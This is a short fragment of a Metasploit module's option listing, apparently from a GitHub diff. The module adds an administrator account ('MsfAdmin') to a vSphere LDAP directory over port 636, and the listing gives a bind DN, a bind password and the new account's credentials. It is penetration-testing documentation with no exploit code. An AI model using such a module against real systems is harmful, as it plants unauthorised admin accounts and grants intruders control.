BIND_DN cn=192.168.3.32,ou=Domain Controlle no The username to authenticate to LDAP server
USERNAME cn=192.168.3.32,ou=Domain Controlle no The username to authenticate to LDAP server
rs,dc=vsphere,dc=local
BIND_PW #$F4!4SeV\BL~L2gb(oa no Password for the BIND_DN
PASSWORD NewPassword123# no Password of admin user to add
PASSWORD #$F4!4SeV\BL~L2gb(oa no Password for the BIND_DN
NEW_PASSWORD NewPassword123# no Password of admin user to add
RHOSTS 192.168.3.32 yes The target host(s), see https://github.com/rapid7/metasploit-framework
/wiki/Using-Metasploit
RPORT 636 yes The target port
SSL true no Enable SSL on the LDAP connection
USERNAME MsfAdmin no Username of admin user to add
NEW_USERNAME MsfAdmin no Username of admin user to add
Auxiliary action:

Some files were not shown because too many files have changed in this diff Show More